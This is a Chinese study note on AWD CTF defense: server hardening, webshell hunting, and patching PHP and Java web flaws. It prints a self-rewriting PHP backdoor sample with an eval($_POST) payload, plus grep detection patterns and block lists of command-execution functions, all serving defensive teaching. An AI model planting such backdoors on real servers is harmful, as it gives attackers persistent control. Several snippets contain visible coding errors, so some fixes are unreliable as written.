心血来潮学习awd(吗?)
awd常见于线下赛,刚开始每个队都会有相同的初始环境。这些环境运行着一些特定的服务和应用,需要利用这些漏洞,获取flag以获得积分,同时也需要修补自身漏洞进行防御,以防被交flag导致丢分
流程
准备:多个靶机服务器,有ssh
或vnc
的用户名或者密码,以及相关的ip信息
加固:自行登录服务器并进行安全加固。需要进行以下流程
备份源码
改密码(包括但不限于ssh密码、mysql密码、windows等密码)
代审(d盾?),找明显的洞
针对洞进行修复
攻击,通过对别的靶机服务进行攻击获取得分
比赛靶机情况
运维机Windows 10
+ 攻击机kali linux
+ win靶机(Winserver 2003/2008/2012)
或者win7
+ linux靶机Centos7.x / Ubuntu 16.04/17.01/20.04
运维机Windows10
+ 攻击机kali linux
+ linux靶机
运维机 + 攻击机 + 纯windows靶机
也就是说比赛会有数台机子,可能windows,也有可能是linux,这些机子上面的web服务等地方都有漏洞,要先抓紧时间修复,再通过找到的漏洞去攻击别的队伍的服务器拿到flag从而得分
修复流程
备份源码
windows机的话,建议直接打包
web服务路径:
1 2 3 4 5 6 7 8 php: /var/www/html java python等比较陌生的目录可以使用以下的方法来获取: ps -aux | grep python #获取进程用户 ps -aux | grep ctf #获取用户启动的进程 # 一般能够找到java的web启动脚本目录
打包:
1 2 tar -cvf web.tar /var/www/html zip -q -r web.zip /var/www/html
解压缩
1 2 tar -xvf web.tar -c /var/www/html unzip web.zip -d /var/www/html
备份:
1 2 mv web.tar /tmp #也可以是其他的路径 mv web.zip /tmp #也可以是其他的路径
上传和下载源码:
1 2 3 4 scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地 scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器 scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地 scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器
mysql数据库备份
检查mysqldump是否在/usr/sbin
等其他目录下
如果靶机没有需要提前准备编译好的工具:
1 mysqldump -u username -p password databasename >target.sql
备份所有数据库
1 mysqldump -all -databases > all.sql
导入数据库
1 mysql -u username -p password database < from.sql
source导入mysql方法:
前提:需要创建好数据库,且该数据库必须与你的备份文件中的库名一样
1 2 use db_name; source /tmp/xxxx.sql
改密码
ssh:
1 2 passwd admin passwd root
一些后台密码可能默认会存在于一些类似于admin.php
,login.php
当中,还有可能存在于db.sql
等数据库当中,记得修改密码
1 update 表名 set 字段1=值1,字段2=值2..;
改mysql密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 mysql -u root -p #登录 set password for username@localhost = password(新密码) # 方法2 mysqldamin -u用户名 -p旧密码 password 新密码 # 方法3 # 登录root use mysql; update mysql.user set authentication_string=password('新密码') where user='用户名' and Host = 'localhost'; flush privileges; quit; # 该方法不适用于mysql8 # 方法4 mysql8 # 需要先检查authentication_string是否为空 use mysql; update user set authentication_string = '' where user = 'root'; # 先置空该字段↑ # 修改密码为root↓ alter user 'root'@'localhost' identified by 'root' # 若报错,则需刷新一下权限 flush privileges; # 再执行修改密码的操作 alter user 'root'@'localhost' identified by 'root'
redis:
1 2 3 4 5 nc 127.0.0.1 6379 auth passwd config set requirepass mima
windows加固
查看信息
1 2 whoami /all ipconfig /all
加固445端口、防火墙3389服务:
开启系统日志审计功能
禁用guest账户、关闭文件共享
确保启动项内容是可控的
限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置–>管理模板–>Windows组件–>远程桌面服务–>远程桌面会话主机–>连接–>限制连接的数量
使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
恶意代码文件,通过PCHunter、Monitor查找
Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容
NTFS扫描磁盘查找隐藏的交换流数据
查找系统所有账户信息,禁止非Administrator账户
查看端口:
1 2 3 4 5 netstat #查看活动链接 netstat -ano/-a #查看端口情况 netstat -anp #查看端口 firewall-cmd --zone=public --remove-port=80/tcp -permanent #关端口 firewall-cmd -reload #重启防火墙
RDP:
删除默认帐户并手动添加新用户:
步骤1:按 Win + R
打开运行对话框,输入 secpol.msc
并单击 “确定”
步骤2:导航至此处:本地策略–>用户权限分配,再双击打开 “允许通过远程桌面服务登录”
步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户
更改默认RDP端口号:
步骤1:打开运行对话框,输入 regedit
并单击 “确定”
步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
,向下滚动并找到 PortNumber
然后双击它
步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”
linux加固
1 2 3 4 5 6 改密码 .bash_history查找历史命令 crontab -l 查看计划任务 crontab -e 编辑 cat /etc/init.d/rc.local 查看启动服务有无异常 iptable
1 2 3 4 5 6 7 8 9 uname -a #内核 ps -aux #进程 ps -ef | grep 进程名称 #筛选进程 id cat /etc/passwd ls /home/ find / -type d -perm -002 #可写目录检查 ifconfig ip addr show #查网卡信息
查看端口:
1 2 3 4 5 netstat #查看活动链接 netstat -ano/-a #查看端口情况 netstat -anp #查看端口 firewall-cmd --zone=public --remove-port=80/tcp -permanent #关端口 firewall-cmd -reload #重启防火墙
SSH安全加固:
限制ip登录
1 2 sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件 AllowUsers username@192.168.0.100 //找到并编辑以下行,确保其取消注释并设置为所需的IP地址
禁用root
远程登录(同上配置):
1 2 sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件 PermitRootLogin no //将PermitRootLogi设置为“no”
按用户和组限制SSH登录
1 2 3 4 5 sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件 AllowUsers testuser //设置只允许 testuser 登录SSH AllowUsers testuser@192.168.1.100 //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH AllowGroups test //设置用户组白名单 //需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录
重启SSH服务
1 2 sudo service sshd restart sudo systemctl restart sshd.service
信息收集
寻找配置文件
1 find /var/www/html -path '*config*'
如果是java,将jar包解压之后看一下BOOT-INF/lib
下的依赖,是否有shiro等依赖,若有,再检查ShiroConfig.class
或者类似的地方是否有存在shiro的默认密钥
寻找flag
1 2 3 4 5 # linux下,在web目录中找flag grep -r "flag" /var/www/html # windows下,从当前目录和所有的子目录下的所有文件查找flag findstr /s /i "flag" *.*
禁ping:
1 2 3 echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all #临时开启禁ping echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all #关闭禁ping
应急响应
1 2 3 netstat ps -aux netstat -apt
杀进程:
1 2 3 kill -9 pid taskkill /f /pid pid
搜webshell:
1 2 3 4 find /var/www/html -name *.php -mmin -5 //查看最近5分钟修改文件 find ./ -name '*.php' | xargs wc -l | sort -u //寻找行数最短文件,一般有可能是一句话木马 grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html //查包含关键字的php文件 find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看
不死马:
高权限下,可以直接重启服务:
1 2 3 4 5 # ubuntu service apache2 start # centos systemctl apache2 start
但是基本上比赛的时候不会放出高权限的账户,得在低权限下进行处理:
del.php
1 2 3 4 5 6 7 <?php system ("kill `ps -aux | grep www-data | grep -v grep | awk '{print $2 }' | xargs kill -9`" ); system ("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2 }'`" ); system ("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2 }'`" );
访问后再删除不死马
也可以先利用ps命令查看进程的pid
或者我们也可以用ps -aux
命令来查看每个用户执行的命令和运行的进程
然后:
1 2 3 4 5 6 7 <?php while (1 ) { $pid =1234 ; @unlink ('.shell.php' ); exec ('kill -9 $pid' ); } ?>
方法2:创建一个和不死马同名的文件夹
1 2 3 #!/bin/bash cd /var/www/html/while true ;do rm -rf .l.php;mkdir .l.php;done
运行时:
方法3:竞争写入无意义的一句话:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ignore_user_abort (true ); set_time_limit (0 ); unlink (__FILE__ ); $file = '.l.php' ; $code = '<?php echo "awa"; ?>' ; while (1 ){ file_put_contents ($file ,$code ); usleep (0 ); } ?>
1 ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9
查杀弹shell
1 2 3 ps -ef px -aux ps -aux | grep www-data
检查是否有/bin/sh
或者/bin/bash
很有可能是nc
1 kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`
变种不死马:
文件名:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ignore_user_abort (true ); set_time_limit (0 ); unlink (__FILE__ ); $file = '-index.php' ; $code = '<?php if(md5($_GET["pass"])=="56183c1f36ef08fb8b027a4116db8483"){@eval($_POST["a"]);} ?>' ; while (1 ){ file_put_contents ($file ,$code ); usleep (0 ); } ?>
删除只需要添加
1 2 3 ./ 例如 rm -rf ./-index.php
web服务加固
php
sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $mysqli = new mysqli ('localhost' , 'root' , 'root' , 'db' );$mysqli ->query ('set names utf8' );$mysqli_stmt = $mysqli ->prepare ('select name balance from account where id = ?' );$id = $_GET ['id' ];$mysqli_stmt ->bind_param ("i" , $id );$mysql_stmt ->execute ();$mysqli_stmt ->bind_result ($name , $balance );while ($mysqli_stamt ->fetch ()){ echo "$name --$balance " ; }
最佳的解决方式,预编译,但是不能防order by(业务需要,导致这个参数如果被预编译了就无法执行语句了)
对于预编译就上白名单即可
addslashes
、mysqli_real_escape_string
其中mysqli_real_escape_string
还能够防止宽字节注入
php 5.4以下,禁用魔术引号(自动对外部来源数据进行转义,防止sql注入)
1 $filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-"; if((preg_match("/".$filter."/is",$username)= = 1 ) || (preg_match("/".$filter."/is",$password)= = 1 )){ die(); }
xss
httponly
htmlspecialchars()转义函数:
1 2 3 4 <?php if ( array_key_exists ( "name" , $_GET ) && $_GET [ 'name' ] != NULL ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $name = htmlspecialchars ( $_GET [ 'name' ] ); echo "<pre>Hello ${name}</pre>" ; } ?>
htmlspecialchars()能够将预定义的字符转换为html实体
1 2 3 4 htmlspecialchars(string,flags,character-set,double_encode) 其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下: 可用的引号类型: ENT_COMPAT - 默认。仅编码双引号。 ENT_QUOTES - 编码双引号和单引号。 ENT_NOQUOTES - 不编码任何引号。 默认是只编码双引号的
前端js
修复:
1 2 3 4 5 6 7 8 String parameter = request.getParameter ("xss" );parameter = ESAPI .encoder ().encodeForHTML (parameter); response.getWriter ().write ("<body>" +parameter+"</body>" ); waf function wafxss ($str ){ return !preg_match ("/\'|http|\"|\`|cookie|<|>|script/i" , $str); }
xxe
1 libxml_disable_entity_loader (true );
文件上传
1 if (($_FILES ["Up10defile" ]["type" ]=="image/gif" )&&(substr ($_FILES ["Up10defile" ]["name" ], strrpos ($_FILES ["Up10defile" ]["name" ], '.' )+1 ))=='gif' )&&($_FILES ["file" ]["size" ]<1024000 ){ } else { die (); }
php、php5、php4、php3、php2、phtml、pht、.htaccess、.user.ini
1 2 3 4 5 6 7 8 9 10 11 $black = array ("php" , "php5" , "php4" , "php3" , "php2" ,"phtml" , "pht" , "htaccess" , "ini" , "shtml" ,"php7" );$temp = explode ("." , $_FILES ["file" ]["name" ]);$extension = end ($temp );if (in_array ($extension , $black ) && ($_FILES ["file" ]["size" ]>1024000 ) ){ $fake = md5 (time ()); die ("上传成功, 文件路径/uploads/$fake .$extension " ); } else { ... }
1 2 3 4 5 6 7 else { $content = file_get_contents ($_FILES ["file" ]["tmp_name" ][0 ]){ if (preg_match ("/system|define|flag|exec|base64|eval|php|AddType|Files/i" ,$post )) { echo "上传成功,审核通过后将会展示您的图片!" ; exit (); } } }
1 2 3 4 5 6 7 8 9 10 11 12 <Directory "/var/www/html/upload" > Options -ExecCGI -Indexes AllowOverride None RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml php_flag engine off <FilesMatch ".+\.ph(p[3457]?|t|tml)$" > deny from all </FilesMatch> </Directory >
强制给上传的文件添加后缀名 ,在不存在文件包含漏洞的情况下,该方法能最有效的防御攻击者上传执行木马
1 2 3 4 5 6 7 8 9 10 11 12 if (file_exists ("upload_file/" . $_FILES ["Up10defile" ]["name" ])){ echo $_FILES ["Up10defile" ]["name" ] . " already exists. " ; } else { move_uploaded_file ($_FILES ["Up10defile" ]["tmp_name" ], "upload_file/" .md5 (md5 ($_FILES ["Up10defile" ]["name" ]).time ()).".gif" ); echo "Stored in: " . "upload_file/" . $_FILES ["Up10defile" ]["name" ].".gif" ; }
ssrf
ssrf的修复方法如下:
去除url中的特殊字符
判断是否属于内网ip
将请求时的域名改为ip
请求的url就变成了上面返回的url
请求的时候设置header里的host为ip
请求头,判断是否为30x的跳转
第一步为了防止url parse造成的解析问题
第三步防止dns重定向
第五步防止ip请求的时候某些网站无法访问
最后一步防止通过跳转进行绕过
非必要不要从用户那里接受要访问的url,防止用户构造url进行穿透访问
修复:
open_basedir限制用户的访问目录,可以有效防止file_get_contents
、curl
、fopen
等函数对服务器的敏感文件的访问
上白名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php declare (strict_types = 1 );$$url = $$_GET ['url' ];$$urlInfo = parse_url ($$url );$validSchemeList = ['http' , 'https' ];$validHostList = ['www.baidu.com' ];$validPortList = ['80' , '443' ];$validTypeList = ['html' , 'json' , 'gif' , 'png' , 'jpeg' , 'jpg' ];$invalidHostList = ['127.' , 'localhost' , '192.' , '10.' ];if (!in_array ($urlInfo ['scheme' ], $validSchemeList, true )) { die ('访问协议非法' ); } if (!in_array ($urlInfo ['port' ], $validPortList, true )) { die ('访问端口非法' ); } if (!in_array ($urlInfo ['host' ], $validHostList, true )) { die ('请求地址非法' ); } $$visitType = pathinfo ($$url , PATHINFO_EXTENSION);if (!in_array ($visitType , $validTypeList, true )) { die ('访问类型非法' ); } foreach ($invalidHostList as $invalidHost) { if (strpos ( $urlInfo ['host' ], $invalidHost) == 0 ) { die ('访问地址非法' ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 function safe_request ($url ) { $ch = CURL_INIT (); CURL_SETOPT ($ch , CURLOPT_HEADER, FALSE ); CURL_SETOPT ($ch , CURLOPT_RETURNTRANSFER, TRUE ); CURL_SETOPT ($ch , CURLOPT_SSL_VERIFYPEER, FALSE ); while (true ){ if (!$url || !filter_var ($url , FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED & FILTER_FLAG_HOST_REQUIRED & FILTER_FLAG_QUERY_REQUIRED)){ return false ; } if (!preg_match ('/^https?:\/\/.*$/' , $url )){ return false ; } $host = parse_url ($url , PHP_URL_HOST); if (!$host ){ return false ; } $ip = gethostbyname ($host ); $ip = ip2long ($ip ); if ($ip === false ){ return false ; } $is_inner_ipaddress = ip2long ('127.0.0.0' ) >> 24 == $ip >> 24 or ip2long ('10.0.0.0' ) >> 24 == $ip >> 24 or ip2long ('172.16.0.0' ) >> 20 == $ip >> 20 or ip2long ('192.168.0.0' ) >> 16 == $ip >> 16 ; if ($is_inner_ipaddress ){ return false ; } CURL_SETOPT ($ch , CURLOPT_URL, $url ); $res = CURL_EXEC ($ch ); $code = curl_getinfo ($ch ,CURLINFO_HTTP_CODE); if (300 <=$code and $code <400 ){ $headers = curl_getinfo ($ch ); $url =$headers ["redirect_url" ]; } else { CURL_CLOSE ($ch ) ; return $res ; } } } $url = $_GET ['url' ]; $res =safe_request ($url ); if ($res ) echo var_dump ($res ); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 <?php function is_allowed_URL ($url ) { if (!$url || !filter_var ($url , FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED & FILTER_FLAG_HOST_REQUIRED & FILTER_FLAG_QUERY_REQUIRED)) { return false ; } if (!preg_match ('/^https?:\/\/.*$/' , $url )) { return false ; } $parts = parse_url ($url ); foreach (array ("user" , "pass" , "host" , "fragment" ) as $key ) { if (isset ($parts [$key ]) && preg_match ("~[:/?#\\\\@]~" , $parts [$key ])) { return false ; } } $ip = gethostbyname ($parts ['host' ]); $ip = ip2long ($ip ); if ($ip === false ) { return false ; } $is_inner_ipaddress = ip2long ('127.0.0.0' ) >> 24 == $ip >> 24 || ip2long ('10.0.0.0' ) >> 24 == $ip >> 24 || ip2long ('172.16.0.0' ) >> 20 == $ip >> 20 || ip2long ('192.168.0.0' ) >> 16 == $ip >> 16 || $ip == 0 || ip2long ('169.254.169.254' ) == $ip || ip2long ('192.0.0.192' ) == $ip || ip2long ('100.100.100.200' ) == $ip ; if ($is_inner_ipaddress ) { return false ; } return true ; } function test ($url ) { $res = is_allowed_URL ($url ); echo $url . " : " . ($res ? $res : "false" ) . "\n" ; } test ("https://127.0.0.1:8080/ppppp" );test ("https://169.254.169.254:8080/ppppp" );test ("https://192.0.0.192:8080/ppppp" );test ("https://100.100.100.200:8080/ppppp" );test ("https://127.0.0.1:8080\@baidu.com/ppppp" );test ("https://baidu.com#@127.0.0.1:8080/ppppp" );test ("https://127.1:8080/ppppp" );test ("https://127.0.0.1.:8080/ppppp" );test ("https://2130706433:8080/ppppp" );test ("https://0:8080/ppppp" );test ("https://[::]:8080/ppppp" );test ("https://localhost:8080/ppppp" );test ("https://0:0:0:0:0:ffff:127.0.0.1:8080/ppppp" );test ("https://127.0000.000000.000001:8080/ppppp" );test ("https://127.0.0.1:8080#@baidu.com/ppppp" );test ("http://[::1]/" );test ("https://0.0.0.0:8080/ppppp" );test ("https://127.2.0.2:8080/ppppp" );test ("https://0x7f.0x0.0x0.0x1:8080/ppppp" );test ("https://baidu.com.127.0.0.1.nip.io:8080/ppppp" );test ("https://baidu.com@127.0.0.1:8080@baidu.com/ppppp" );test ("https://127.0.0.1:8080\.baidu.com/ppppp" );test ("https://127.0.0.1:8080:443/ppppp" );?>
python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import socketimport refrom urllib.parse import urlparsefrom socket import inet_atonfrom struct import unpackdef check_ssrf (url ): hostname = urlparse(url).hostname def ip2long (ip_addr ): return unpack("!L" , inet_aton(ip_addr))[0 ] def is_inner_ipaddress (ip ): ip = ip2long(ip) return ip2long('127.0.0.0' ) >> 24 == ip >> 24 or \ ip2long('10.0.0.0' ) >> 24 == ip >> 24 or \ ip2long('172.16.0.0' ) >> 20 == ip >> 20 or \ ip2long('192.168.0.0' ) >> 16 == ip >> 16 \ ip2long('0.0.0.0' ) >> 24 == ip >> 24 try : if not re.match (r"^https?://.*/.*$" , url): raise BaseException("url format error" ) ip_address = socket.getaddrinfo(hostname, 'http' )[0 ][4 ][0 ] if is_inner_ipaddress(ip_address): raise BaseException("inner ip address attack" ) return True , "success" except BaseException as e: return False , str (e) except : return False , "unknow error"
rce
一些命令执行函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 preg_replace () 参数/e修饰符问题
修复方式:
1 2 3 4 5 6 7 <?php $a =$_GET ['cc' ]; $pattern = "eval|assert|passthru|pcntl_exec|exec|system|escapeshellcmd|popen|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|ob_start" ;if (preg_match ("/" .$pattern ."/is" ,$cc )== 1 ){ die (); } $bb ="phpinfo()" ; call_user_func ($cc ,$bb ); ?>
1 2 3 4 5 function wafrce ($str ){ return !preg_match ("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|phpinfo|file_put_contents\(\.\*\$|base64_decode\(/i" , $str); } const blacklists = [", \\, |, &, +, -, *, /, ^]; const blackwords = [`select`, `drop`, `insert`, `update`, `delete`, `like`, `order`, `truncate`, `create`, `reg`, `sub`, `left`, `right`, `mid`, `if`, `log`, `pro`, `func`, `history`, `file`, `plugin`, `role`, `collation`, `event`];
修补preg_replace的时候需要将修饰符/e
去掉
php7下,preg_replace不再适用\e
,而应当使用preg_replace_callback()
php.ini中设置disable_function
1 disable_functions=call_user_func,call_user_func_array,array_map,array_filter,ob_start,phpinfo,eval,assert,passthru,pcntl_exec,exec,system,escapeshellcmd,popen,chroot,scandir,chgrp,chown,shell_exec
反序列化
php7,为unserialize()
函数提供了过滤,这个特性可以提供更加安全的过滤方式
1 2 3 4 5 6 7 8 9 <?php $data = unserialize ($foo , ["allowed_classes" => false ]);$data = unserialize ($foo , ["allowed_classes" => ["MyClass" , "MyClass2" ]]);$data = unserialize ($foo , ["allowed_classes" => true ]);
php_serialize 在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错。
1 2 3 ini_set ('session.serialize_handler' , 'php_serialize' );ini_set ('session.serialize_handler' , 'php' );
1 2 3 4 5 $filter = "phar|zip|compress.bzip2|compress.zlib" ;if (preg_match ("/" .$filter ."/is" ,$name )== 1 ){ die (); }
1 disable_functions=fileatime,filectime,file_exists,file_get_contents,file_put_content,filegroup,fileinode,filemtime,fileowner,fileperms,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,fopen,readfile,unlink,parse_ini_file,file,copy,stat,serialize,unserialize,__construct,__destruct,__toString,__sleep,__wakeup,__get,__set,__isset,__unset,__invoke
文件包含
小waf:
1 2 3 4 5 6 7 8 9 10 <?php $filename = $_GET ['filename' ];$pattern = "\/|\.\.\/|\.\/|etc|var|php|jpg|jpeg|png|bmp|gif" ;if (preg_match ("/" .$pattern ."/is" ,$filename )==1 ){ echo "die" ; die (); } include ($filename );?>
1 2 3 4 5 6 7 8 9 10 $filename = $_GET ['filename' ];$pattern = "\/|\.\.\/|\.\/|etc|var|php|jpg|jpeg|png|bmp|gif|file|http|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect|zip|compress|filter|input" ;if (preg_match ("/" .$pattern ."/is" ,$filename )== 1 ){ echo "die00000000000000000000000000000" ; die (); } include ($filename );
1 2 allow_url_fopen = off (是否允许打开远程文件) allow_url_include = off(是否允许include/require远程文件)
1 open_basedir="/var/www/html"
java
sql注入
1 2 3 4 <if test="outtype !=null and outtype !=''" > AND u.catelog_name = '${outtype}' </if > <if test="baseKey !=null and baseKey !=''" >
将$
改为#
1 2 3 4 <if test="outtype !=null and outtype !=''" > AND u.catelog_name = #{outtype} </if > <if test="baseKey !=null and baseKey !=''" >
但是遇到了像是这种除了带有单引号,还有特殊字符,如%
的要特殊处理
1 2 3 4 5 <select id="findUserByName" parameterType="java.lang.String" resultType="cn.itcast.mybatis.po.User" > <!-- 拼接 MySQL,引起 SQL 注入 --> SELECT * FROM user WHERE username LIKE '%${value}%' </select>
修复方式要加concat:
1 2 3 4 5 <select id="findUserByName" parameterType="java.lang.String" resultType="cn.itcast.mybatis.po.User" > <!-- 使用 SQL concat 语句,拼接字符串,防止 SQL 注入 --> SELECT * FROM USER WHERE username LIKE CONCAT ('%' ,#{value},'%' ) </select>
其实原理就像是预编译(
DAO的漏洞代码跟mysql是类似的:
1 String sql = "select * from user where id=" + id;
也是直接进行一个拼接
Hibernate:
1 session.createQuery("from Book where title like '%' + userInput + '%' and published = true");
修复方式
预编译启动(使用java.sql.PreparedStatement
):
1 2 3 4 PreparedStatement stmt = connection.prepareStat(sqlString); stmt.setString(1, username); stmt.setString(2, itemName); result = stmt.executeQuery();
同理,预编译并不能防御order by
导致的注入
java-ssrf
java的ssrf局限性比较大,能够发出网络请求的几个类:
apache的httpClient组件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pubilc class TestAction extends ActionSupport { public String execute () throes Exception{ HttpServletRequest request = ServletActionContext.getRequest(); HttpServletResponse response = ServletActionContext.getResponse(); String url = request.getParameter("url" ); if (url!=null &&url.length()!=0 ){ CloseableHttpClient httpclient = Httpclient.execute(httpGet); try { HttpGet httpGet = new HttpGet (url); CloseableHttpResponse response1 = httpclient.execute(httpGet); try { HttpEntity entity1 = response1.getEntity(); byte [] buffer = new byte [40960 ]; entity1.getContent().read(buffer); response.getWriter().write(new String (buffer)); } finally { response1.close(); } }finally { httpclient.close(); } return "success" ; } else return "fail" ; } }
Request(对HttpClient的封装)
HttpURLConnection
关键代码如下,这里通过url参数接受用户的输入,然后直接openConnection打开连接:
1 2 3 4 5 6 7 8 HttpServletRequest request = ServletActionContext.getRequest();String url = request.getParameter("url" );URL obj = new URL (url);HttpUrlConnection con = (HttpURLConnection) onj.openConnection();
简单修复代码:
1 2 3 4 5 6 7 8 9 10 11 12 if (urlLink.contains("file" ) || urlLink.contains("gopher" ) || urlLink.contains("ftp" ))|| urlLink.contains("netdoc" )|| urlLink.contains("mailto" )|| urlLink.contains("jar" ){ return "无法访问" ; } if (urlLink.contains("127.0.0.1" ))|| urlLink.contains("localhost" ) { return "无法访问" ; } ... if (urlLink.contains("http://" ) || urlLink.contains("https://" )){ ... 业务 }
推荐:
禁内网ip+白名单业务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static List<Pattern> ipFilterRegexList = new ArrayList <>(); static { Set<String> ipFilter = new HashSet <String>(); ipFilter.add("^10\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])" + "\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])" + "\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])$" ); ipFilter.add("^172\\\\.(1[6789]|2[0-9]|3[01])\\\\" + ".(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])\\\\" + ".(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])$" ); ipFilter.add("^192\\\\.168\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])\\\\" + ".(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])$" ); ipFilter.add("^127\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])" + "\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])" + "\\\\.(1\\\\d{2}|2[0-4]\\\\d|25[0-5]|[1-9]\\\\d|[0-9])$" ); ipFilter.add("0.0.0.0" ); ipFilter.add("localhost" ); for (String reg : ipFilter) { ipFilterRegexList.add(Pattern.compile(reg)); } } public static boolean ipIsInner (String ip) { System.out.println(ip); for (Pattern reg : ipFilterRegexList) { Matcher matcher = reg.matcher(ip); if (matcher.find()) { return true ; } } return false ; }
限制协议为http或者https:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 URL exurl = new URL (urlLink); String host = exurl.getHost(); String protocol = exurl.getProtocol(); if (!(protocol.contains("https" )||protocol.contains("http" ))){ return "无法访问" ; } InetAddress[] addresses = InetAddress.getAllByName(host); List<String> ips = new ArrayList <>(); for (int i = 0 ; i < addresses.length; i++) { if (addresses[i] instanceof Inet4Address) { if (ipIsInner(addresses[i].getHostAddress())) { throw new IllegalArgumentException (); } else { ips.add(addresses[i].getHostAddress()); } } }
🤔,还是有点缺陷的,没有禁用100.x.x.x
(企业级网关段)
fastjson
改高版本?
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.83</version > //改这里,注释删掉 </dependency >
直接开启safemode:
1 2 ParserConfig.getGlobalInstance().setSafeMode(true );
1 2 -Dfastjson.parser.safeMode=true //jvm启动参数
1 2 3 fastjson.properties fastjson.parser.safeMode=true
改完java后重新打包然后重启服务,pom.xml
1 mvn clean install & mvn package
java反序列化
白名单防御:
